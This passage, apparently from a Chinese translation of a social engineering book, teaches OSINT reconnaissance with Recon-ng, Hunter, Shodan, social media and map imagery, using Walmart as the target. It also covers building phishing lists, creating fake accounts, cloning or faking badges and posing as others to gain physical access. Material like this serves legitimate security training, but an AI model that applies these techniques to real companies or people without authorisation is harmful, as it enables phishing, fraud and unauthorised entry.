你可以通过两种方式安装模块:逐个安装或一次性安装所有模块。要安装单个模块,请输入以下命令,将import/csv_file替换为模块的完整路径:

[recon-ng][walmart] > **marketplace install**`import/csv_file`
[*] Module installed: import/csv_file
[*] Reloading modules...

要安装所有可用模块,请使用以下命令:

[recon-ng][walmart] > **marketplace install all**
[*] Module installed: discovery/info_disclosure/cache_snoop
[*] Module installed: discovery/info_disclosure/interesting_files
[*] Module installed: exploitation/injection/command_injector
`--snip--`
[*] Module installed: reporting/xml
[*] Reloading modules...
[!] 'google_api' key not set. pushpin module will likely fail at runtime. See 'keys add'.
[!] 'bing_api' key not set. bing_linkedin_cache module will likely fail at runtime. See 'keys add'.
[!] 'censysio_id' key not set. censysio module will likely fail at runtime. See 'keys add'.

获取并添加 API 密钥

为了使某些工具能够访问外部资源,你需要从各种网站获取 API 密钥。每个网站都有自己的获取密钥的过程,而这些过程往往会发生变化。你可以在www.theosintion.com/practical-social-engineering/查看我最新的教程,了解如何获取这些 API 密钥,或者查看每个工具网站上的 API 密钥页面。

获取密钥后,使用以下语法在 Recon-ng 中添加它们:

**keys add** `name_of_module value`

使用以下命令验证 Recon-ng 是否已在数据库中存储密钥:

**keys list**

查找和运行 Recon-ng 模块

Recon-ng 模块有五种类型:发现、利用、导入、侦察和报告。在本书中,我们将使用发现、侦察和报告模块类型。

要查看与特定类型相关的模块,请使用 search 命令,后跟类型的名称:

**modules search discovery**

如果你知道模块名称的一部分,可以使用 search 功能来定位它,像这样:

**modules search hibp**

如果你知道模块的名称或模块名称的一部分,也可以直接通过 modules load 命令调用一个模块:

**modules load metacr**

上述命令将加载 metacrawler 模块。现在让我们更详细地探索这些模块。

要设置模块的目标,你需要知道该模块接受哪些输入。可以通过发出 info 命令来获取此信息。当你准备好在接受的字段中输入目标或值时,发出 options set name_of_field value_of_field 命令。

使用 Metacrawler 枚举文件

metacrawler 模块会搜索目标站点或多个站点中的 Microsoft PowerPoint、Word、Excel 和 PDF 文件。它相当于进行一个Google dork——编写像这样的长查询语句:

site:nostarch.com Filetype:XLS* OR Filetype:DOC* OR Filetype:PPT* or Filetype:PDF

例如,要搜索 nostarch.com 中的所有文件类型,可以使用以下命令:

[recon-ng][default][metacrawler] > **options** **set SOURCE nostarch.com**
SOURCE => nostarch.com
[recon-ng][default][metacrawler] > **run**
------------
NOSTARCH.COM
------------
[*] Searching Google for: site:nostarch.com filetype:pdf OR filetype:docx OR 
filetype:xlsx OR filetype:pptx OR filetype:doc OR filetype:xls OR 
filetype:ppt
[*] https://www.nostarch.com/download/WGC_Chapter_3.pdf
[*] Producer: Acrobat Distiller 6.0 (Windows)
[*] Title: Write Great Code
[*] Author: (c) 2004 Randall Hyde
[*] Creator: PScript5.dll Version 5.2
[*] Moddate: D:20041006112107-07'00'
[*] Creationdate: D:20041006111512-07'00'
[*] https://www.nostarch.com/download/wcss_38.pdf
[*] Producer: Acrobat Distiller 5.0 (Windows)
[*] Title: wcss_book03.book
[*] Author: Riley
[*] Creator: PScript5.dll Version 5.2
[*] Moddate: D:20040206172946-08'00'
[*] Creationdate: D:20040116180100Z

如果 Extract 设置为 True,该命令将输出目标公开网站上的所有 PDF 或 Microsoft Office 格式(Excel、Word 或 PowerPoint)的文档,包括文件链接和元数据,如作者、创建软件、修改日期、生成软件以及创建日期。如果 Extract 设置为 False,输出仅提供文件名和链接。

根据这些信息,你可以做很多事情。从元数据中,你可以列举出用户、操作系统和使用的软件。从文件本身,你可能能找到目标本打算保密的信息,包括姓名、电子邮件地址、电话和传真号码、地址以及重要的商业事务。

使用 whois_pocs 查找域名联系人

whois_pocs 模块列举了给定域名的所有已知联系点。它在此功能上比 whois_miner 模块更强大,甚至对具有域名隐私保护的目标也能工作。以下是对 Walmart 运行该模块的示例:

[recon-ng][default][whois_pocs] > **modules load whois_pocs**
[recon-ng][default][whois_pocs] > **options set SOURCE walmart.com**
SOURCE => nostarch.com
[recon-ng][default][whois_pocs] > **info**
      Name: Whois POC Harvester
      Path: modules/recon/domains-contacts/whois_pocs.py
    Author: Tim Tomes (@LaNMaSteR53)
Description:
  Uses the ARIN Whois RWS to harvest POC data from whois queries for the given
domain. Updates the 'contacts' table with the results.
Options:
  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  walmart.com    yes       source of input (see 'show info' for details)
Source Options:
  default        SELECT DISTINCT domain FROM domains WHERE domain IS NOT NULL
  <string>       string representing a single input
  <path>         path to a file containing a list of inputs
  query <sql>    database query returning one column of inputs
[recon-ng][default][whois_pocs] > **run**
-----------
WALMART.COM
-----------
[*] URL: http://whois.arin.net/rest/pocs;domain=walmart.com
[*] URL: http://whois.arin.net/rest/poc/ABUSE327-ARIN
[*] Country: United States
[*] Email: abuse@walmart.com
[*] First_Name: None
[*] Last_Name: Abuse
[*] Middle_Name: None
[*] Notes: None
[*] Phone: None
[*] Region: Brisbane, CA
[*] Title: Whois contact
[*] --------------------------------------------------

请记住,一些组织不会公开他们的 WHOIS 信息。

使用 mx_spf_ip 了解域名的邮件策略

mx_sfp_ip 模块获取域名的 DNS 邮件交换器(MX)记录。MX 记录 定义了域名如何处理电子邮件。它显示了使用的邮件服务器和任何发送者政策框架(SPF)记录,这些记录限制了该域名能够接收邮件的 IP 范围,以及能够无审查地向该组织发送邮件的域名。

使用 MX 记录,攻击者可以利用其中包含的信息来策划成功的电子邮件伪造攻击。例如,攻击者可以枚举记录中列出的 IP 范围及其关联的域名。这可能为商业关系、供应商或使用的技术提供线索。

以下命令检索nostarch.com的 MX 记录。输出确认该站点使用了 Google 邮件服务器,但由于缺少 SPF 记录,表明 No Starch 尚未实施 SPF:

[recon-ng][book][mx_spf_ip] > **options set** **SOURCE** **nostarch.com**
SOURCE => nostarch.com
[recon-ng][book][mx_spf_ip] > **run**
[*] Retrieving MX records for nostarch.com.
[*] [host] alt1.aspmx.l.google.com (<blank>)
[*] [host] aspmx.l.google.com (<blank>)
[*] [host] alt3.aspmx.l.google.com (<blank>)
[*] [host] alt2.aspmx.l.google.com (<blank>)
[*] [host] alt4.aspmx.l.google.com (<blank>)
[*] Retrieving SPF records for nostarch.com.
[*] nostarch.com => No record found.

另一方面,以下输出向我们展示了 Walmart 使用了 SPF:

[recon-ng][book][mx_spf_ip] > **options set SOURCE walmart.com**
SOURCE => walmart.com
[recon-ng][book][mx_spf_ip] > **run**
[*] Retrieving MX records for walmart.com.
[*] [host] mxb-000c7201.gslb.pphosted.com (<blank>)1
[*] [host] mxa-000c7201.gslb.pphosted.com (<blank>)
[*] Retrieving SPF records for walmart.com.
[*] TXT record: "dtOeNuIs42WbSVe3Zf2qizxLw9LSQpFd6bWqCr166oTRIuJ9yKS+etPsGGNOvaiasQk2C6GV0/5PjT9CI2nNAg=="
[*] TXT record: "google-site-verification=ZZYRwyiI6QKg0jVwmdIha68vuiZlNtfAJ90msPo1i7E"
[*] TXT record: "adobe-idp-site-verification=7f3fb527466337ac0ac0752c569ca2ac48926dc6c6dad3636d581aa131a1cf3e"
[*] TXT record: "v=spf1 ip4:161.170.248.0/24 ip4:161.170.244.0/24 ip4:161.170.236.31 ip4:161.170.238.31 ip4:161.170.241.16/30 ip4:161.170.245.0/24 ip4:161.170.249.0/24 include:Walmart.com include:_netblocks.walmart.com include:_vspf1.walmart.com include:_vspf2.walmart.co" "m include:_vspf3.walmart.com ~all"
[*] [netblock] 161.170.248.0/242
[*] [netblock] 161.170.244.0/24
[*] [host] <blank> (161.170.236.31)
[*] [host] <blank> (161.170.238.31)
[*] [netblock] 161.170.241.16/30
[*] [netblock] 161.170.245.0/24
[*] [netblock] 161.170.249.0/24
[*] TXT record: "facebook-domain-verification=ximom3azpca8zph4n8lu200sos1nrk"3
[*] TXT record: "adobe-idp-site-verification=5800a1970527e7cc2f5394a2bfe99bcda4e5938e132c0a19139fda9bf6e30704"4
[*] TXT record: "docusign=5bdc0eb1-5fb2-471c-99a0-d0d9cc5fdac8"5
[*] TXT record: "MS=E4F53D5B1A485B7BA06E0D36A9D38654A16609F3"6

SPF 记录列出了 Adobe、Facebook、DocuSign、Microsoft 和 Google 的域验证。以MS=开头的文本(TXT)记录表明 Walmart 使用了 Microsoft Office 365 6。它还使用adobe-idp-site-verification来验证 Adobe 企业产品如 Creative Cloud 4 的域名。以facebook-domain-verification开头的 TXT 记录限制了哪些域可以编辑该域的官方 Facebook 页面 3。以docusign=开头的 TXT 记录表明该站点使用 DocuSign 签署官方文件 5。

注意pphosted.com 1 作为一个主机列出。这表明使用了 Proofpoint,一种防伪技术,它会在收到的电子邮件主题行中添加一个自定义消息,通常是字符串[EXTERNAL],使得钓鱼邮件或企业邮件欺诈尝试更容易被识别。

还列出了一些网络范围 2。这些是目标的公共 IP 地址,列出的两个主机是主要的邮件服务器。你可以使用其他工具来确认这一点。

使用其他工具:theHarvester 和 OSINT Framework

像 Recon-ng 一样,theHarvester是一个基于 Linux 的命令行 OSINT 工具,可以自由使用,作为 Kali 和 Buscador 的一部分。你也可以在 GitHub 上找到它。该工具由 Christian Martorella 编写,theHarvester 需要 Shodan 和 Google 自定义搜索引擎(CSE)的 API 密钥。你可以在以下文件中输入这些密钥:

`theHarvester_path`/discovery/googleCSE.py

`theHarvester_path`/discovery/shodansearch.py

在 theHarvester 中,你可以使用开关来指示工具执行任务。选择使用 theHarvester 而不是 Recon-ng 是个人偏好的问题。即使你将 Recon-ng 作为主要工具,你也可能想使用 theHarvester 来获取第二意见,看看 Recon-ng 是否遗漏了任何附加信息。

OSINT Frameworkosintframework.com/)是一个基于 GUI 的工具集合。由 Justin Nordine 策划,OSINT Framework 根据你所寻找的内容将资源分组(图 4-8)。

<<OSINT Framework 网页显示分组的资源,包括用户名、电子邮件地址、域名、IP 地址、图像/视频/文档、社交网络、即时消息、人员搜索引擎、约会、电话号码、公共记录、商业记录、交通、地理定位工具/地图、搜索引擎、论坛/博客/IRC、档案、语言翻译、元数据、移动仿真、恐怖主义和暗网。>>

图 4-8:OSINT Framework

使用 Hunter 查找电子邮件地址

你通常需要找到电子邮件地址和公司的电子邮件地址 语法(公司为其员工使用的电子邮件地址格式)。Hunter 是一个很好的工具,可以帮助你列举这些信息。在没有登录的情况下,你可以获取公司使用的基本电子邮件地址语法。一旦你创建账户并登录,你就可以获得最常见的电子邮件地址语法、完整的公司电子邮件地址,并且偶尔会看到某个人的职位。

图 4-9 显示了未认证搜索的输出结果。

<<Hunter 网页显示未认证用户在 walmart.com 的搜索结果,展示电子邮件语法模式和部分电子邮件地址。>>

图 4-9:未认证用户的 Hunter 搜索结果。(注意:Hunter 对这些结果进行了审查。)

图 4-10 显示了一个认证搜索的结果,返回了目标域名的有效电子邮件地址,以及它们的来源。

<<Hunter 网页显示认证用户在 walmart.com 的搜索结果。展示电子邮件语法模式、678 条可导出为 CSV 的全名和电子邮件地址(已被作者审查)、职位以及详细的来源信息,所有信息以红色标出。>>

图 4-10:认证用户的 Hunter 搜索结果。(注意:作者对这些结果进行了审查。)

通过查看这些结果,你可以推测出公司电子邮件地址的语法。然后,你可以转到 LinkedIn 和公司网站,获取更多的名字,再自己将更多的电子邮件地址拼凑起来,假如你想对这些人进行钓鱼攻击。

Hunter 提供不同层级的服务;在撰写本文时,这些服务的价格范围从免费的(每月 100 次请求且不支持 CSV 导出)一直到每月 399 美元,包括 50,000 次请求并支持 CSV 导出。

利用映射和地理定位工具

你可能已经使用过 Google 地图或 Bing 地图,通过地图视图、卫星视图和街景视图来定位自己。在收集 OSINT(开源情报)时,卫星和街景模式通常是最有价值的。

卫星视图可以显示大门、垃圾桶、卫星天线、进出口、停车方案以及相邻设施。你可以放大一些站点,帮助你确定藏匿地点、入口和吸烟区。

街景视图让你看到的建筑物和设施,仿佛你走路或开车到达现场一样。从这个视图中,你可以识别出以下信息:

  • 垃圾桶供应商(这是现场伪装有用的信息,可能帮助你进入建筑物或进行垃圾桶翻找)

  • 大门、门和围栏,及其是否经常保持开启(有时还包括保安的存在)

  • 停在外面的配送公司卡车

  • 一些特定建筑的名称,如沃尔玛创新中心、沃尔玛员工中心或沃尔玛总部,这些名称可以帮助你更好地融入组织(一个快速被识破的方法是把迪士尼或沃尔玛的员工叫做 员工,而不是 演员员工)。

  • 其他租户

在本章开头提到的 DerbyCon SECTF 中,我使用 Google Maps 来确定我的目标公司运输供应商,通过查看谁的卡车在大门内。我本可以利用这些信息获得物理访问权限,或许通过在二手商店找到一件制服,或作为一种诈骗电话的借口来询问发货情况。

同时使用 Google Maps 和 Bing Maps 可以提供更好的信息,因为这两个应用的数据来源不同。此外,图像是收集于不同的日期,因此你可能会在一个应用中看到一辆送货卡车,但在另一个应用中看不到,或者在更新的照片中看到一个新的垃圾桶,或看到未经过滤的供应商名称。

结论

收集 OSINT(开放源信息)的途径有很多种。本章仅仅触及了这些工具功能的表面,旨在为你提供一个起点,帮助你将 OSINT 技巧应用于社会工程学、渗透测试或任何其他伦理应用。通过本章的练习,你已经使用开源工具收集了与企业相关的域名、IP 地址、电子邮件地址、姓名和技术。

下一章将介绍如何在没有高级工具的情况下收集 OSINT。第六章将讲解针对个人的 OSINT 操作。

第五章:社交媒体与公共文档

在上一章中,我们讨论了使用高级工具进行 OSINT 收集。然而,您并不总是需要复杂的工具来获取所需的信息。很多时候,查看社交媒体平台就足够了。在本章中,我们将讨论互联网上一些看似无害的帖子是如何被武器化的。您将学会如何从这些平台收集 OSINT,以及一些虽不是社交媒体但同样具有影响力的平台。您将阅读公司的公共文档,并学习如何自动截图以记录您的发现。

分析社交媒体中的 OSINT

社交媒体平台让我们能够洞察目标人物和企业的生活。虽然一些组织有清洁桌面政策,要求员工在休息、午餐或外出时将桌面上的敏感信息移除,但许多政策并不包括拍摄在个人设备上的照片。因此,人们会在公共平台上发布他们关心或激动的事情,无论是在家里还是在工作中。这为 OSINT 调查员提供了一个全面了解组织设施的机会,通常能看到比亲自参观更多的信息。

在第六章中,我们将重新审视社交媒体网站作为了解发布帖子的人的一种方式。

LinkedIn

LinkedIn是一个优秀的职业社交网络。它的许多用户过于开放,分享了内部使用的所有技术和流程。通过在该网站查找公司员工信息,我们可以为钓鱼攻击创建目标名单,发现公司使用的技术,并列出在语音钓鱼攻击中可以扮演的角色。LinkedIn 是一个 OSINT 的金矿,尤其适用于那些在线足迹较小的小型公司。

一般公司信息

让我们来看看沃尔玛的 LinkedIn 公司页面(图 5-1)。在页面顶部,我们可以看到沃尔玛的粉丝数量、该账户的连接中有多少人在沃尔玛工作、股票代码以及公司概况。“关于我们”部分还提供了沃尔玛的一些基本信息。

<<LinkedIn 网页显示“关于”标签,展示沃尔玛的联系方式、股票代码以及沃尔玛的成立和使命的简短概述。>>

图 5-1:沃尔玛在 LinkedIn 上的公司详情

页面下方列出了所有主要沃尔玛网站的网址和地址、公司成立的时间和地点、总部位置、公司规模以及其专业领域的信息。

职位信息

由于人们经常将 LinkedIn 作为求职平台,公司页面上列出了与求职者相关的信息,比如已知的员工数量以及该数量是增加还是减少(图 5-2)。

<<LinkedIn 网页显示了仅限高级用户访问的 Insights 选项卡。上面是一个饼状图,展示了沃尔玛员工的分布和按职能(销售、支持、运营和医疗服务)划分的员工增长。下面是一个条形图,显示了每月新增员工数量。>>

图 5-2:沃尔玛员工在 LinkedIn 上的详细信息

员工的平均任期可以帮助我们在进行钓鱼和语音钓鱼时与目标进行互动。我们可以估计某个员工是否可能认识另一站点的员工,特别是在像沃尔玛这样拥有超过 30 万员工的大公司中。类似地,LinkedIn 关于员工分布、增长和新员工的数据可以为我们提供线索,帮助我们估计如果我们打电话到公司,遇到新员工的可能性。

公司员工

一个单独的页面列出了公司员工的 LinkedIn 用户。利用这个信息,可以查看每个人的角色。例如,图 5-3 显示了一个职位为 入侵分析师 的人,这是一个网络安全职位,表明公司正在积极监控其网站和网络以防止恶意行为。

我们可以通过信息安全员工的数量来评估公司的安全性。实现这一点的一个简单方法是查看员工资料中的认证缩写。检查 CISSP、GPEN、OSCP、CEH 和 Security+ 是不错的起点。可以搜索的职位名称包括 信息安全网络安全入侵CISO

<<LinkedIn 网页显示了搜索结果,列出了 6 名沃尔玛员工,职位为入侵分析师(姓名和头像被作者审查)。>>

图 5-3:沃尔玛员工在 LinkedIn 上的展示

这些员工资料还告诉我们公司使用的技术。通过搜索它们,我们可以检测到安全事件和事故管理(SEIM)解决方案、恶意软件保护、电子邮件过滤或 VPN 的存在。此外,它们帮助我们建立邮件列表,以便进一步的分析和钓鱼攻击。

招聘网站和职业网站

员工、招聘人员和外包招聘供应商可能会在其社交媒体上链接到招聘页面或职位网站。因此,聪明的社会工程师、红队成员和开源情报调查员可以抓取这些信息并将其武器化。

根据职位发布的方式,你可能会在一句话中找到通往王国的钥匙。在 图 5-4 中,你可以看到候选人必须具备 Oracle E-Business Suite (EBS) 版本 12.2.7 的经验。这告诉潜在攻击者去寻找这个特定的软件版本。职位发布的描述方式可能会让攻击者误以为他们仍在使用版本 11.5.10.2,而这个版本自 2006 年起就存在漏洞。

这可能有几种方式。首先,我们可以搜索与该特定软件相关的常见漏洞和暴露(CVE)条目,然后查看像www.exploit-db.com/这样的网站,寻找已知的漏洞利用代码。或者,我们可以在钓鱼或语音钓鱼中的预设情境中使用这些信息。最后,我们也可以尝试对该软件的任何公开实例进行暴力破解,这是最嘈杂的一种方法,且超出了社会工程学或开源情报的范围。

<<通用招聘网站页面显示职位发布,带有列出主要职责的项目符号。提到的 Oracle 软件用红色标出。>>

图 5-4:过于冗长的职位发布

在职位发布中,另一个值得注意的事项是提到该职位向哪个经理汇报。了解组织结构图以及谁担任哪个角色,在需要引用名字来增强可信度的情况下,对构建预设情境非常有帮助。不要仅限于当前的职位发布。查看像 Indeed、Ladders 和 LinkedIn 等网站上的旧职位发布。你还可以查看archive.org/以查找更早的页面。通过审查旧的职位发布,你可以了解该组织多频繁地修补或升级其软件,以及人力资源和安全部门的文化。

Facebook

Facebook 可以是一个宝藏,也可以是一个垃圾场,这取决于你问谁以及你在寻找什么。这是因为数据丰富但审核较少,尽管有时会进行事实核查。许多人倾向于在这个网站上分享过多的信息(这种行为我们将在第六章中进一步探讨)。在这一部分,我们将专注于公司及其客户的业务相关信息。

要开始在 Facebook 上进行分析,创建一个不用于个人目的的帐户。尽管创建虚假帐户违反了该网站的服务条款,但这样做可以防止你在“你可能认识的人”标签下出现在真实个人资料中。你还可以公开发布内容,而不会让你的真实朋友感到困惑,也不必担心他们会揭露你。请记住,鉴于俄罗斯参与 2016 年美国总统选举的争议以及其他涉及数据实践和虚假信息的案例,Facebook 正在严厉打击虚假帐户以及使用人工智能生成的图像的用户。

作为另一层安全措施,避免使用该网站的移动应用程序,因为它们通常可以访问你移动设备上的所有应用程序,并且可以在没有其他输入的情况下识别出属于你的帐户。你也可能会收到越来越个性化的广告,而我个人觉得这非常令人不安。

那么,我们可以从 Facebook 上找到什么呢?竞争对手、客户、促销活动、新闻稿、新闻和公众情绪。

公司信息

在一个组织的 Facebook 页面上(参见 图 5-5 中 Walmart 的页面),查看联系信息、相关时间表或新闻稿。对于较小的公司,通常可以看到有关获得奖项或被加入某些名单的新闻。你还可能看到有关员工活动和成就的帖子,尤其是如果你瞄准的是咨询公司。

<<Walmart 的 Facebook 个人资料页面显示首页部分,展示了“情人节的艺术”专题。>>

图 5-5:Walmart 的 Facebook 登陆页面

查看页面的“关于”部分(图 5-6)。这里可能会找到电话号码,即使这些号码是帮助台、客户支持或公司热线的号码。我们可能会找到电子邮件地址,并且几乎可以确定会看到他们的网站。

公司还可能分享一系列事件时间表——例如成立日期、搬迁、并购以及关键员工的退休——这些都可以为我们提供用于编造前提或进行互动的信息。

<<Walmart 的 Facebook 个人资料页面显示在“更多”下的“关于”部分,包括点赞数、关注数、签到数,以及公司联系信息(显示网站、电话号码,并表明对 Facebook 消息的高度响应)。>>

图 5-6:Walmart 的 Facebook “关于我们”页面

顾客与公众情绪

当进行语音钓鱼时,获取员工与自己对话的一个狡猾方法是冒充顾客。你可以通过查看 Facebook 的社区标签和阅读评论,找到成千上万的真实顾客。在 图 5-7 中,Walmart 的社区标签展示了公众在页面上发布的各种帖子。这些帖子应当保持审慎的态度,并结合上下文来看。一些帖子是真正的关切,但也有一些是阴谋论、无根据的言论、试图走红的行为,以及假冒或伪装页面的报告。

<<Walmart 的 Facebook 个人资料页面显示更多首页部分,包括 3400 万个总点赞和近 3300 万个总关注,红框标出了“Top Fans”以及访客照片和用户的公开帖子(个人信息由作者遮挡)。>>

图 5-7:Walmart 的 Facebook 社区页面

社区标签向我们展示了公司的粉丝数量。这个指标表明品牌的力量,以及公司在顾客互动和客户获取方面的投入程度。

查看顾客在公司墙上分享的帖子类型,以及人们发布的频率。公司是否对这些帖子作出回应?公司是否表现出同理心,还是显得冷漠?这些都可以帮助我们制定公司档案,以及我们作为前提使用的档案。有时人们会分享随机的帖子到公司墙上,试图让帖子走红。考虑到这一点,分析时需要进行调整。

Instagram

Instagram是开源情报(OSINT)的宝库。在我曾经参加过的一场社会工程学夺旗赛(SECTF)中,我通过使用 Instagram 找到了超过 90%的针对目标公司的信息。

关注者与标签

比起公司账户的关注者,更有趣的是公司账户关注了谁。公司账户通常关注高管、相关的影响力人物以及市场营销和公关人员。例如,看看沃尔玛关注了谁(图 5-8)。列表中包括他们销售的品牌和勒布朗·詹姆斯。

<<Instagram 页面显示沃尔玛的“关注”标签,展示了沃尔玛关注的另外六个 Instagram 账户,包括 Allswell Home、Art.com、Hot Wheels、Chance the Rapper、LeBron James 和 MoDRN Living。>>

图 5-8:沃尔玛 Instagram 页面关注的账户列表

另外,搜索目标关注的标签。这能告诉我们目标认为重要的内容。这些标签可能与公司正在进行的促销活动相关,或者表明其社交媒体团队是否松散。标签还可能与公司的竞争对手有关。从沃尔玛选择关注的标签(图 5-9)中,我们可以了解到内部项目、客户激励措施以及可能的内部术语。

<<Instagram 页面显示沃尔玛的“关注”标签,展示了沃尔玛关注的五个标签(#walmartassociateartchallenge、#hereforeverybeauty、#walmartemojihunt、#thewalmartbox 和 #walmartfinds)。>>

图 5-9:沃尔玛在 Instagram 上关注的标签

寻找地理标签帖子

接下来,离开公司的 Instagram 页面,在 Instagram 上搜索公司的办公地址。这将引导我们到所有在该地址的地理标签帖子。地理标签会在设备和应用程序的位置服务启用时自动发生。位置将嵌入到帖子中,成为可搜索的字段。从返回的图片中,你很可能会找到两个非常有用的信息:公司徽章和员工桌面的照片。

徽章的图片可以帮助我们识别徽章的制造商和设计。在某些情况下,你可能能够复制门禁卡徽章,以便进入设施。Brent White 和 Tim Roberts 在wehackpeople.wordpress.com/2018/07/16/proxmark-3-cheat-sheet-and-rfid-thief-instructions/提供了使用 Proxmark 徽章克隆器(以及更多功能)的好指南。在其他情况下,你可能能够复制徽章的设计。例如,图 5-10 中的沃尔玛供应商徽章告诉我们供应商徽章的样式,包括他们使用的字体以及包含条形码和有效期。

我们可能能够重新创建徽章的条形码。尽管徽章上没有包含任何有助于身份识别的数字,但它确实包含了一个日期——这在巧妙的伎俩中可能有助于获得访问权限。

<<Instagram 页面显示沃尔玛甜茶供应商的帖子,地理标签位于沃尔玛公司总部。图片展示了一张沃尔玛供应商徽章,显示完整的姓名和公司名称。标题写着“希望好运!现在,去加油吧!”并附有标签#沃尔玛,#邻里市场,和#交好运。>>

图 5-10:在 Instagram 上找到的沃尔玛供应商徽章

另外,你可以制作不具功能的假徽章。你还可以通过观察人们在该地点的着装来了解他们的穿着风格,从而让自己融入其中。例如,在沃尔玛的门店,员工通常穿着卡其裤和深蓝色衬衫,配有罩衫和徽章。图 5-11 展示了一系列沃尔玛徽章的图片,看起来都很无害,直到社会工程师或恶意行为者利用它们获得未经授权的访问权限。

<<Instagram 页面显示了六张员工的照片,其中一些员工清楚地佩戴着沃尔玛徽章,地理标签显示在阿肯色州本顿维尔的沃尔玛总部(作者已审查个人徽章信息)。>>

图 5-11:在 Instagram 上找到的许多沃尔玛员工徽章

办公桌的照片可以告诉我们更多关于公司使用的技术。图 5-12 展示了一张员工工作站的照片。该员工(同事)在炫耀他们收到的卡片,但照片中还显示他们正在使用 MacBook,并且在 macOS 的任务栏上打开了 Photoshop、Microsoft Office 2016 和 Cisco WebEx。

<<Instagram 帖子显示在阿肯色州本顿维尔的沃尔玛总部,员工桌面上放着一张粉色卡片,卡片上写着“感谢你所做的一切!– 你秘密的崇拜者。”员工的笔记本电脑显示了 MacOS 的任务栏程序。图片标题写着“7 小时后,我还在寻找我的‘秘密崇拜者’”并附有独角兽表情符号。>>

图 5-12:在 Instagram 上找到的沃尔玛员工工作站

利用 Shodan 进行 OSINT(开放源信息搜集)

John Matherly 在 2009 年开发了 Shodan(www.shodan.io/),作为一个索引互联网连接设备的搜索引擎。实际上,这意味着 Shodan 会主动扫描互联网上的不安全和开放设备,然后将这些设备输入其可搜索和已索引的数据库供用户使用。让我们来看看使用 Shodan 的主要分析方法。

Shodan 的会员价格根据访问级别而有所不同,从免费到每月 899 美元不等。会员级别由你希望持续监控的资产数量、你想进行的搜索次数以及是否搜索明确的漏洞来定义。Shodan 通常会在黑色星期五期间推出特价活动,提供便宜的终身访问权限。

使用 Shodan 搜索参数

使用以下搜索参数之一在 Shodan 中进行搜索:

  1. city 用于定义要搜索的城市。

  2. country 用于定义要搜索的国家。

  3. geo 用于在特定的经纬度范围内进行搜索。

  4. hostname 用于查找特定的主机名。

  5. net 用于搜索定义的 IP 地址、范围或 CIDR。

  6. os 用于查找特定的操作系统。

  7. port 用于查找特定的开放端口。

  8. before/after 用于定义搜索的时间范围。由于组织会更改其硬件和软件架构,而 Shodan 一直在扫描,条目会有所变化。设置时间范围有助于你发现更新的模式,以及当前实施和相关的技术。例如,如果你知道一个组织使用 Cisco ASA,你可以查看软件发布日期,并将其与 Shodan 中版本更改的出现时间进行对比,从而了解该组织的补丁节奏。

搜索 IP 地址

如果你知道一个 IP 地址或范围,可以在 Shodan 中查询它以解析主机、服务和服务横幅(图 5-13)。如果你正在进行这个开放源信息(OSINT)调查以准备渗透测试,这将非常有帮助。

<<Shodan 网页显示沃尔玛 IP 地址的结果。顶部横幅显示地理位置数据,下面显示与该 IP 地址相关的国家、组织、ISP、主机名、ASN、网站技术、端口和服务。>>

图 5-13:Shodan 枚举 IP 地址、运行的端口和服务以及服务横幅

Shodan 还会告诉我们用于加密网站流量的 TLS/SSL 证书信息。如果证书使用了弱加密算法,你可以将其视为一个技术性攻击向量。

搜索域名

如果你在 Shodan 中输入目标组织的域名,系统将返回所有已知的主机。这将帮助你获取有关使用的端口、协议、服务横幅和服务版本的信息。此方法还可以帮助我们识别他们使用的互联网连接系统类型(如 NGINX、Apache 和 IIS),除了主机名和 IP 地址之外。

图 5-14 显示了一个针对 walmart.com 域名的搜索结果,限定条件是主机必须属于沃尔玛商店。这可以防止出现包含 walmart.com 或链接到 walmart.com 的无关域名。

<<Shodan 网页显示“org: ‘沃尔玛商店’”的搜索结果。左侧显示 1978 个结果,包含顶级国家、服务、组织、操作系统和产品。右侧显示 4 个属于沃尔玛商店的域名的 IP 地址。>>

图 5-14:Shodan 域名和 IP 地址枚举,过滤条件为 沃尔玛商店

搜索主机名和子域名

如果我们知道一个特定的主机名或子域名,我们可以像搜索域名一样在 Shodan 中搜索它。Shodan 会为我们提供更聚焦的信息,如 IP 地址、服务以及主机上的开放端口。返回的具体信息会根据域名不同而有所不同,其有用性取决于我们计划如何使用这些信息。例如,图 5-15 显示了属于沃尔玛的 Microsoft IIS 网络服务器。

<<Shodan 网页显示“org:'Wal-Mart -Stores' product:'Microsoft IIS httpd.”的结果。显示了 10 个 Microsoft IIS 网络服务器中的 3 个,包括 SSL 证书和支持的 SSL 版本部分。>>

图 5-15:进一步的 Shodan IP 地址枚举

我们看到字符集、HTTP 代码,并且如果存在已知漏洞,还会显示 CVE 编号,这可以为我们提供技术利用的指导,如果这是最终目标的话。

使用 Hunchly 自动截图

到目前为止,在本章中,我们已经讨论了手动挖掘网页以获取有用信息。但是,当你没有使用像 Recon-ng 这样的专用 OSINT 工具时,跟踪你找到的所有信息并不总是容易的。Hunchly (www.hunch.ly/) 是一个 Chrome(或类似 Chromium 浏览器,如 Brave)扩展程序,它为你查找的每一项内容提供截图。Hunchly 由 Justin Seitz 创建,按此写作时,Hunchly 每年收费 129 美元,但提供 30 天的免费试用。如果你经常进行 OSINT 调查,购买许可证是非常值得的。

要使用 Hunchly,下载并安装插件。在 Hunchly 仪表盘中,你可以通过点击+图标并选择新建案件来定义调查(图 5-16)。这将会整理在会话期间拍摄的所有截图,并将它们分类到特定案件中。可以把它当作一个数据库来使用。

一旦你添加了案件,确保你允许 Hunchly 记录你的活动,方法是选择右上角的蓝色图标并启用扩展程序。同时,确保选择适当的案件以保存文件。

一旦启用了 Hunchly,只需在 Chrome 浏览器中浏览你正在调查的内容即可。完成后,禁用 Hunchly 扩展程序,然后点击仪表盘按钮查看你收集到的内容(图 5-17)。

<<Hunchly 网页显示用户仪表盘,包括页面查看(0)和搜索执行(0)信息。红色框住了加号图标和“新建案件”选择项。>>

图 5-16:创建新案件

<<Hunchly 网页显示用户仪表盘中新添加案件的历史标签,显示了查看的 17 个页面以及时间戳、截图和网址。>>

图 5-17:带有工件的 Hunchly 仪表盘

如果你选择一个特定的文物,你可以查看截图和相关信息,例如你搜索的内容、对应搜索的 URL 路径、你收集的日期、网站更新的日期以及截图的哈希值。如果你出于法律原因收集 OSINT 并将截图作为法庭证据,这些信息至关重要。

偷窃 SEC 表格

美国的上市公司必须提交各种文档和表格以保持合规。这些文件向 SEC 证明所有报告的信息是真实的,并且公司没有违反任何法律。由于这些文件对公众开放,因此它们是一个很好的 OSINT 来源。

